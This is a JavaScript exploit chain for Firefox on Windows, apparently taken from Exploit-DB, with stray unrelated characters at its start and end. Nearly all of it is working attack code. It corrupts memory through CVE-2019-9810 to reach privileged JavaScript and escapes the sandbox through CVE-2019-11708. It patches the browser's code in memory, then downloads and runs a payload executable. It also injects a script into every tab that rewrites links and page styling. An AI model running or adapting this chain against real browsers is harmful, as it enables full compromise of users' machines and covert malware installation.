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体验盒子// Axel '0vercl0k' Souchet - November 19 2019
// EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47752.zip
// 0:000> ? xul!sAutomationPrefIsSet - xul
// Evaluate expression: 85724947 = 00000000`051c0f13
const XulsAutomationPrefIsSet = 0x051c0f13n;
// 0:000> ? xul!disabledForTest - xul
// Evaluate expression: 85400792 = 00000000`05171cd8
const XuldisabledForTest = 0x05171cd8n;
const Debug = false;
const dbg = p => {
if(Debug == false) {
return;
}
print(`Debug: ${p}`);
};
const ArraySize = 0x5;
const WantedArraySize = 0x42424242;
let arr = null;
let Trigger = false;
const Spray = [];
function f(Special, Idx, Value) {
arr[Idx] = 0x41414141;
Special.slice();
arr[Idx] = Value;
}
class SoSpecial extends Array {
static get [Symbol.species]() {
return function() {
if(!Trigger) {
return;
}
arr.length = 0;
for(let i = 0; i < 0x40000; i++) {
Spray.push(new Uint32Array(ArraySize));
}
};
}
};
function GetMeBiggie() {
for(let Idx = 0; Idx < 0x100000; Idx++) {
Spray.push(new Uint32Array(ArraySize));
}
const SpecialSnowFlake = new SoSpecial();
for(let Idx = 0; Idx < 10; Idx++) {
arr = new Array(0x7e);
Trigger = false;
for(let Idx = 0; Idx < 0x400; Idx++) {
f(SpecialSnowFlake, 0x70, Idx);
}
Trigger = true;
f(SpecialSnowFlake, 47, WantedArraySize);
if(arr.length != 0) {
continue;
}
const Biggie = Spray.find(e => e.length != ArraySize);
if(Biggie != null) {
return Biggie;
}
}
return null;
}
function ExploitCVE_2019_9810() {
print = console.log;
const Biggie = GetMeBiggie();
if(Biggie == null || Biggie.length != WantedArraySize) {
dbg('Failed to set things up :(.');
return false;
}
//
// Scan for one of the Uint32Array we sprayed earlier.
//
let Biggie2AdjacentSize = null;
const JSValueArraySize = 0xfffa000000000000n | BigInt(ArraySize);
for(let Idx = 0; Idx < 0x100; Idx++) {
const Qword = BigInt(Biggie[Idx]) << 32n | BigInt(Biggie[Idx + 1]);
if(Qword == JSValueArraySize) {
Biggie2AdjacentSize = Idx + 1;
break;
}
}
if(Biggie2AdjacentSize == null) {
dbg('Failed to find an adjacent array :(.');
return false;
}
//
// Use the array length as a marker.
//
const AdjacentArraySize = 0xbbccdd;
Biggie[Biggie2AdjacentSize] = AdjacentArraySize;
//
// Find the array now..
//
const AdjacentArray = Spray.find(
e => e.length == AdjacentArraySize
);
if(AdjacentArray == null) {
dbg('Failed to find the corrupted adjacent array :(.');
return false;
}
const ReadPtr = Addr => {
const SizeInDwords = 2;
const SavedSlot = [
Biggie[Biggie2AdjacentSize],
Biggie[Biggie2AdjacentSize + 2 + 2],
Biggie[Biggie2AdjacentSize + 2 + 2 + 1]
];
//
// Corrupt the `AdjacentArray`'s size / data slot.
//
Biggie[Biggie2AdjacentSize] = SizeInDwords;
Biggie[Biggie2AdjacentSize + 2 + 2] = Number(Addr & 0xffffffffn);
Biggie[Biggie2AdjacentSize + 2 + 2 + 1] = Number(Addr >> 32n);
//
// Read arbitrary location now.
//
const Ptr = BigInt.fromUint32s([AdjacentArray[0], AdjacentArray[1]]);
//
// Restore the `AdjacentArray`'s size / data slot.
//
Biggie[Biggie2AdjacentSize] = SavedSlot[0];
Biggie[Biggie2AdjacentSize + 2 + 2] = SavedSlot[1];
Biggie[Biggie2AdjacentSize + 2 + 2 + 1] = SavedSlot[2];
return Ptr;
};
const WritePtr = (Addr, Value) => {
const SizeInDwords = 2;
const SavedSlot = [
Biggie[Biggie2AdjacentSize],
Biggie[Biggie2AdjacentSize + 2 + 2],
Biggie[Biggie2AdjacentSize + 2 + 2 + 1]
];
//
// Corrupt the `AdjacentArray`'s size / data slot.
//
Biggie[Biggie2AdjacentSize] = SizeInDwords;
Biggie[Biggie2AdjacentSize + 2 + 2] = Number(Addr & 0xffffffffn);
Biggie[Biggie2AdjacentSize + 2 + 2 + 1] = Number(Addr >> 32n);
//
// Write to arbitrary location now.
//
AdjacentArray[0] = Number(Value & 0xffffffffn);
AdjacentArray[1] = Number(Value >> 32n);
//
// Restore the `AdjacentArray`'s size / data slot.
//
Biggie[Biggie2AdjacentSize] = SavedSlot[0];
Biggie[Biggie2AdjacentSize + 2 + 2] = SavedSlot[1];
Biggie[Biggie2AdjacentSize + 2 + 2 + 1] = SavedSlot[2];
return true;
};
const AddrOf = Obj => {
AdjacentArray.hell_on_earth = Obj;
// 0:000> dqs 1ae5716e76a0
// 00001ae5`716e76a000001ae5`7167dfd0
// 00001ae5`716e76a8000010c5`8e73c6a0
// 00001ae5`716e76b000000238`9334e790
// 00001ae5`716e76b800007ff6`6be55010 js!emptyElementsHeader+0x10
// 00001ae5`716e76c0fffa0000`00000000
// 00001ae5`716e76c8fff88000`00bbccdd
// 0:000> !telescope 0x00002389334e790
// 0x000002389334e790|+0x0000: 0xfffe1ae5716e7640 (Unknown)
const SlotOffset = Biggie2AdjacentSize - (3 * 2);
const SlotsAddress = BigInt.fromUint32s(
Biggie.slice(SlotOffset, SlotOffset + 2)
);
return BigInt.fromJSValue(ReadPtr(SlotsAddress));
};
//
// Let's move the battle field to the TenuredHeap
//
const ArrayBufferLength = 10;
const AB1 = new ArrayBuffer(ArrayBufferLength);
const AB2 = new ArrayBuffer(ArrayBufferLength);
const AB1Address = AddrOf(AB1);
const AB2Address = AddrOf(AB2);
dbg(`AddrOf(AB1): ${AB1Address.toString(16)}`);
dbg(`AddrOf(AB2): ${AB2Address.toString(16)}`);
WritePtr(AB1Address + 0x28n, 0xfff8800000010000n);
WritePtr(AB2Address + 0x28n, 0xfff8800000010000n);
if(AB1.byteLength != AB2.byteLength && AB1.byteLength != 0x10000) {
dbg('Corrupting the ArrayBuffers failed :(.');
return false;
}
const Primitives = BuildPrimitives(AB1, AB2);
Math.atan2(AB2);
//
// All right, time to clean up behind ourselves.
// Let's fix AdjacentArray's size first (as we are using Biggie to do it).
//
Biggie[Biggie2AdjacentSize] = ArraySize;
//
// Let's fix Biggie's length as we are done with it.
// 0:000> !smdump_jsvalue 0xfffe11e6fa2f7580
// Detected xul.dll, using it as js module.
// 11e6fa2f7580: js!js::TypedArrayObject: Type: Uint32Array
// 11e6fa2f7580: js!js::TypedArrayObject: Length: 1337
// 11e6fa2f7580: js!js::TypedArrayObject: ByteLength: 5348
// 11e6fa2f7580: js!js::TypedArrayObject: ByteOffset: 0
// 11e6fa2f7580: js!js::TypedArrayObject:Content: Uint32Array({Length:1337, ...})
// @$smdump_jsvalue(0xfffe11e6fa2f7580)
//
// 0:000> !telescope 0x11e6fa2f7580
// 0x000011e6fa2f7580|+0x0000: 0x000006a0415c37f0 (Unknown) -> 0x00007ff93e106830 (xul.dll (.rdata)) -> 0x00007ff93e2f66ce (xul.dll (.rdata)) -> 0x00007ff93e2f66ce (Ascii(Uint32Array))
// 0x000011e6fa2f7588|+0x0008: 0x000006a041564100 (Unknown) -> 0x000006a041583cc0 (Unknown) -> 0x00007ff93e106830 (xul.dll (.rdata)) -> 0x00007ff93e2f66ce (xul.dll (.rdata)) -> 0x00007ff93e2f66ce (Ascii(Uint32Array))
// 0x000011e6fa2f7590|+0x0010: 0x0000000000000000 (Unknown)
// 0x000011e6fa2f7598|+0x0018: 0x00007ff93e0f41d8 (xul.dll (.rdata)) -> 0xfff9800000000000 (Unknown)
// 0x000011e6fa2f75a0|+0x0020: 0xfffe11e6fa2f70c0 (Unknown)
// 0x000011e6fa2f75a8|+0x0028: 0xfff8800000000539 (Unknown)
//
const BiggieLengthAddress = Primitives.AddrOf(Biggie) + 0x28n;
Primitives.WritePtr(BiggieLengthAddress, 0xfff8800000000000n | BigInt(ArraySize));
//
// From there, we're kinda done - let's get god mode and fuck off.
//
GodMode(AB1, AB2, Primitives, XulsAutomationPrefIsSet, XuldisabledForTest);
return true;
}
//
// This function uses a `Sandbox` with a `System Principal` to be able to grab the
// `docShell` object off the `window` object. Once it has it, it can grab the frame
// `messageManager` that we need to trigger the sandbox escape.
//
function GetContentFrameMessageManager(Win) {
function _GetDocShellFromWindow(Win) {
return Win.docShell;
}
const { Services } = Components.utils.import('resource://gre/modules/Services.jsm');
const Cu = Components.utils;
const Sbx = Cu.Sandbox(Services.scriptSecurityManager.getSystemPrincipal());
const Code = _GetDocShellFromWindow.toSource();
Cu.evalInSandbox(Code, Sbx);
const DocShell = Sbx._GetDocShellFromWindow(Win);
Cu.nukeSandbox(Sbx);
return DocShell.messageManager;
}
//
// This function sends a 'Prompt:Open' message over the frame message manager IPC,
// with an URI.
//
function PromptOpen(Uri) {
const FrameMM = GetContentFrameMessageManager(window);
const Result = FrameMM.sendSyncMessage('Prompt:Open', { uri: Uri });
return Result;
}
//
// This is the function that abuses the `Prompt:Open` message to re-exploit the parent
// process and escape the sandbox.
//
function TriggerCVE_2019_11708() {
PromptOpen(`${location.origin}?stage3`);
}
//
// This is the function that gets written into the frame script the exploit drops
// on disk. A trick to debug this code is to pop-up a `Browser Toolbox` as well as a
// `Browser Content toolbox` and execute the following in the `Browser Toolbox`:
// Services.mm.loadFrameScript('file://frame-script.js', true)
// This should break in the `Browser Content Toolbox` debugger window.
//
function FrameScriptPayload() {
function PimpMyDocument() {
//
// Don't infect doar-e and leave Cthulhu alone...
//
if(content.document.location.origin == 'https://doar-e.github.io' ||
content.document.location.origin == 'http://localhost:8000') {
return;
}
//
// .. as well as don't play with non http origins (I've seen empty/null origins).
//
if(!content.document.location.origin.startsWith('http')) {
return;
}
//
// Time to party! Let's find every `A` tag and make them point to doar-e.
// We also use this opportunity to make every `backgroundImage` / `backgroundColor`
// style attributes to `none` / `transparent` to not hide the doar-e background.
//
for(const Node of content.document.getElementsByTagName('*')) {
if(Node.tagName == 'A') {
Node.href = 'https://doar-e.github.io/';
continue;
}
Node.style.backgroundImage = 'none';
Node.style.backgroundColor = 'transparent';
}
//
// Change the background.
//
content.document.body.style.backgroundImage = 'url(https://doar-e.github.io/images/themes03_light.gif)';
}
//
// First we set an event handler to make sure to be invoked when a new `content`
// is created. Keep in mind that we basically have ~three cases to handle:
//1/ We are getting injected in an already existing tab,
//2/ We are getting injected in a new tab,
//3/ A user clicks on a link and a new `content` gets created.
// We basically want to have control over those three events. The below ensures
// we get a chance to execute code for 2/.
//
addEventListener('DOMWindowCreated', FrameScriptPayload);
dump(`Hello from: ${content.location.origin}\n`);
if(content.document != null && content.document.body != null) {
//
// Either the tab already existed in which case we already have a document which we
// can play with...
//
PimpMyDocument();
return;
}
//
// ..Or it doesn't exist quite yet and we want to get a callback when it does.
//
content.addEventListener('load', PimpMyDocument);
}
//
// This function drops a file (open + write + close) using the OSFile JS module.
//
function DropFile(Path, Content) {
//
// We expect either a string or a TypedArray.
//
const Encoder = new TextEncoder();
const ContentBuffer = (typeof Content == 'string') ? Encoder.encode(Content) : Content;
return OS.File.open(Path, {write: true, truncate: true})
.then(File => {
return Promise.all([
// We return the File object in order to be able to use it in the
// next `.then`. This allows us to chain the `write` and the `close`
// without another level of deepness.
File,
File.write(ContentBuffer),
]);
})
.then((Results) => {
const [File, _WrittenBytes] = Results;
return File.close();
});
}
//
// This function drops / executes a payload binary, as well as inject a frame script
// into every tabs.
//
function Payload() {
//
// Import a bunch of JS modules we will be using later.
//
const { OS } = Components.utils.import('resource://gre/modules/osfile.jsm');
const { Services } = Components.utils.import('resource://gre/modules/Services.jsm');
//
// First order of business, we create a first promise that downloads the payload
// (aka Slime Shady), drops it in the profile directory and finally executes it.
//
const Dir = OS.Constants.Path.localProfileDir;
const PayloadPath = OS.Path.join(Dir, 'slimeshady.exe');
const PayloadPromise = fetch(`${location.origin}/payload/bin/payload.exe`)
.then((Response) => {
//
// We return the result as a TypedArray as this is what `DropFile`
// expects for binary content.
//
return Response.arrayBuffer();
})
.then((Content) => {
//
// Time to drop the file now. Note that we return the promise so
// the next `then` executes when the file has been successfully dropped.
//
dbg(`Payload downloaded.`);
return DropFile(PayloadPath, new Uint8Array(Content));
})
.then(() => {
//
// At this point, we are ready to spawn the payload, let's do it!
//
dbg(`Creating the process.. ${PayloadPath}`);
CreateProcessA(PayloadPath);
})
.catch(Ex => {
console.log(`Exception in payload promise: ${Ex}`);
});
//
// Second order of business is to backdoor the tabs. To do so, we drop a frame
// script that we inject into every tabs.
//
const FramePayloadContent = `${FrameScriptPayload.toSource()}
FrameScriptPayload();`;
const ScriptPath = OS.Path.join(Dir, 'frame-script.js');
const FramePayloadPromise = DropFile(ScriptPath, FramePayloadContent)
.then(() => {
//
// At this time we are ready to inject the frame script into the tabs.
// Note that we need to drop the file locally / use the file:// scheme
// so that the tabs accept to interpret the file (unfortunately,
// remote ones are ignored).
//
dbg(`About to loadFrameScript: ${ScriptPath}`);
Services.mm.loadFrameScript(`file://${ScriptPath}`, true);
})
.catch(Ex => {
console.log(`Exception in frame payload promise: ${Ex}`);
});
//
// Last but not least, we set up code to execute on completion of both the above
// promises. You have to remember that at this point the modal window is still open
// and blocks navigation / UI interaction, so we need to close it as soon as we can
// to be as stealth as possible.
// Just for kicks, we spawn a calculator when we're done because why not.
//
Promise.all([PayloadPromise, FramePayloadPromise])
.then(() => {
//
// .. just for kicks.
//
CreateProcessA('c:\\windows\\system32\\calc.exe');
//
// Phew, we made it here let's close the window :).
//
window.close();
})
.catch(Ex => {
console.log(`Exception in clean up promise: ${Ex}`);
window.close();
});
}
//
// This function patches the inlined portion of xpc::AreNonLocalConnectionsDisabled()
// in xul!mozilla::net::nsSocketTransport::InitiateSocket to avoid an assert when we have
// god mode. It's far from being the cleanest way, but this is the easiest way I found.
//
// nsresult nsSocketTransport::InitiateSocket() {
// SOCKET_LOG(("nsSocketTransport::InitiateSocket [this=%p]\n", this));
// nsresult rv;
// bool isLocal;
// IsLocal(&isLocal);
// if (gIOService->IsNetTearingDown()) {
// return NS_ERROR_ABORT;
// }
// if (gIOService->IsOffline()) {
// if (!isLocal) return NS_ERROR_OFFLINE;
// } else if (!isLocal) {
// if (NS_SUCCEEDED(mCondition) && xpc::AreNonLocalConnectionsDisabled() &&
// !(IsIPAddrAny(&mNetAddr) || IsIPAddrLocal(&mNetAddr))) {
// nsAutoCString ipaddr;
// RefPtr<nsNetAddr> netaddr = new nsNetAddr(&mNetAddr);
// netaddr->GetAddress(ipaddr);
// fprintf_stderr(
// stderr,
// "FATAL ERROR: Non-local network connections are disabled and a "
// "connection "
// "attempt to %s (%s) was made.\nYou should only access hostnames "
// "available via the test networking proxy (if running mochitests) "
// "or from a test-specific httpd.js server (if running xpcshell "
// "tests). "
// "Browser services should be disabled or redirected to a local "
// "server.\n",
// mHost.get(), ipaddr.get());
// MOZ_CRASH("Attempting to connect to non-local address!");
// }
// }
//
function PatchInitiateSocket() {
//
// Let's patch xul!mozilla::net::nsSocketTransport::InitiateSocket
// so that it doesn't assert on us because we turned on testing features.
// This is the assert we hit without the patch:
//
// FATAL ERROR: Non-local network connections are disabled and a connection attempt to google.com (172.217.14.206) was made.
// You should only access hostnames available via the test networking proxy
// (if running mochitests) or from a test-specific httpd.js server (if running
// xpcshell tests). Browser services should be disabled or redirected to a local
// server.
// (4014.82c): Break instruction exception - code 80000003 (first chance)
// xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe92:
// 00007ff9`69a66372 ccint 3
//
// Here is the disasembly before:
//
// 0:062> u xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe6
// xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe6 [c:\mozilla-central\netwerk\base\nsSocketTransport2.cpp @ 1264]:
// 00007ff9`3f9c55c6 8b0d0cc7ff04mov ecx,dword ptr [xul!disabledForTest (00007ff9`449c1cd8)]
// 00007ff9`3f9c55cc 83f9ffcmp ecx,0FFFFFFFFh
// 00007ff9`3f9c55cf 7520jne xul!mozilla::net::nsSocketTransport::InitiateSocket+0x111 (00007ff9`3f9c55f1)
// 00007ff9`3f9c55d1 488d0ddaa3df04lea rcx,[xul!`string' (00007ff9`447bf9b2)]
//
// And after:
//
// 0:068> u xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe6
// xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe6 [c:\mozilla-central\netwerk\base\nsSocketTransport2.cpp @ 1264]:
// 00007ff9`3f9c55c6 90nop
// 00007ff9`3f9c55c7 90nop
// 00007ff9`3f9c55c8 90nop
// 00007ff9`3f9c55c9 4831c9xor rcx,rcx
// 00007ff9`3f9c55cc 83f9ffcmp ecx,0FFFFFFFFh
// 00007ff9`3f9c55cf 7520jne xul!mozilla::net::nsSocketTransport::InitiateSocket+0x111 (00007ff9`3f9c55f1)
//
// 0:051> ? xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe6 - xul
// Evaluate expression: 1529286 = 00000000`001755c6
//
const PatchOffset = 0x001755c6n;
const XulBase = BigInt(GetModuleHandleA('xul.dll').toString());
const PatchAddress = XulBase + PatchOffset;
const PatchContent = [0x90, 0x90, 0x90, 0x48, 0x31, 0xc9];
PatchCode(PatchAddress, PatchContent);
}
function Main(Route) {
//
// One way to tell if we were successful with our data corruption is by checking
// if we have access to the PrivilegeManager. If we do, it means we are running
// with a privileged context, if not we don't.
//
const RunningFromPrivilegedJS = window.netscape.security.PrivilegeManager != undefined;
if(Route == '?stage1') {
//
// If we are asked to run stage1 with access to a privileged context, we skip
// it and move on to stage2.
//
if(RunningFromPrivilegedJS) {
return Main('?stage2');
}
//
// Stage1 exploits CVE-2019-9810 and performs a data corruption attack to access
// a privileged JS context.
//
if(!ExploitCVE_2019_9810()) {
console.log('Failed :(');
return;
}
//
// Once we are done with the data corruption, we refresh the page to get access
// to the privileged JS context. Moving on to stage2 \o/.
//
location.replace(`${location.origin}/?stage2`);
}
if(Route == '?stage2') {
//
// At this point we expect to have access to a privileged JS context.
// If we don't it's probably bad news, so we'll just bail.
//
if(!RunningFromPrivilegedJS) {
alert('problem');
return;
}
//
// Turn on privileges so that we can access the `Components` object.
//
window.netscape.security.PrivilegeManager.enablePrivilege('doar-e');
//
// Before going further, let's fix xul!mozilla::net::nsSocketTransport::InitiateSocket
// to avoid the Firefox being unhappy.
//
PatchInitiateSocket()
//
// Now that we have access to the privileged context, we are also able to talk
// over the frame message manager IPC and trigger CVE-2019-11708 to escape the
// exploit the parent process.
//
TriggerCVE_2019_11708();
}
if(Route == '?stage3') {
//
// We should now be running in the broker which means we can exploit CVE-2019-9810
// to perform the same attack than in stage1 but this time in the parent process.
//
if(!ExploitCVE_2019_9810()) {
console.log('Elevation failed, closing the window.');
window.close();
}
//
// If we are successful it means that by refreshing the page, we should have
// access to the privileged JS context from the parent process.
// This basically means full compromise and we move on to backdooring the tabs,
// as well as dropping the payload.
//
location.replace(`${location.origin}/?final`);
}
if(Route == '?final') {
//
// All right, we start of by turning on privileges so that we can access `Components`
// & cie.
//
window.netscape.security.PrivilegeManager.enablePrivilege('doar-e');
//
// Before going further, let's fix xul!mozilla::net::nsSocketTransport::InitiateSocket
// to avoid the Firefox being unhappy.
//
PatchInitiateSocket()
//
// We've worked hard to get here and it's time to drop the goodies :).
//
Payload();
}
}
function Onload() {
if(location.search != '') {
Main(location.search);
}
}
体验盒子
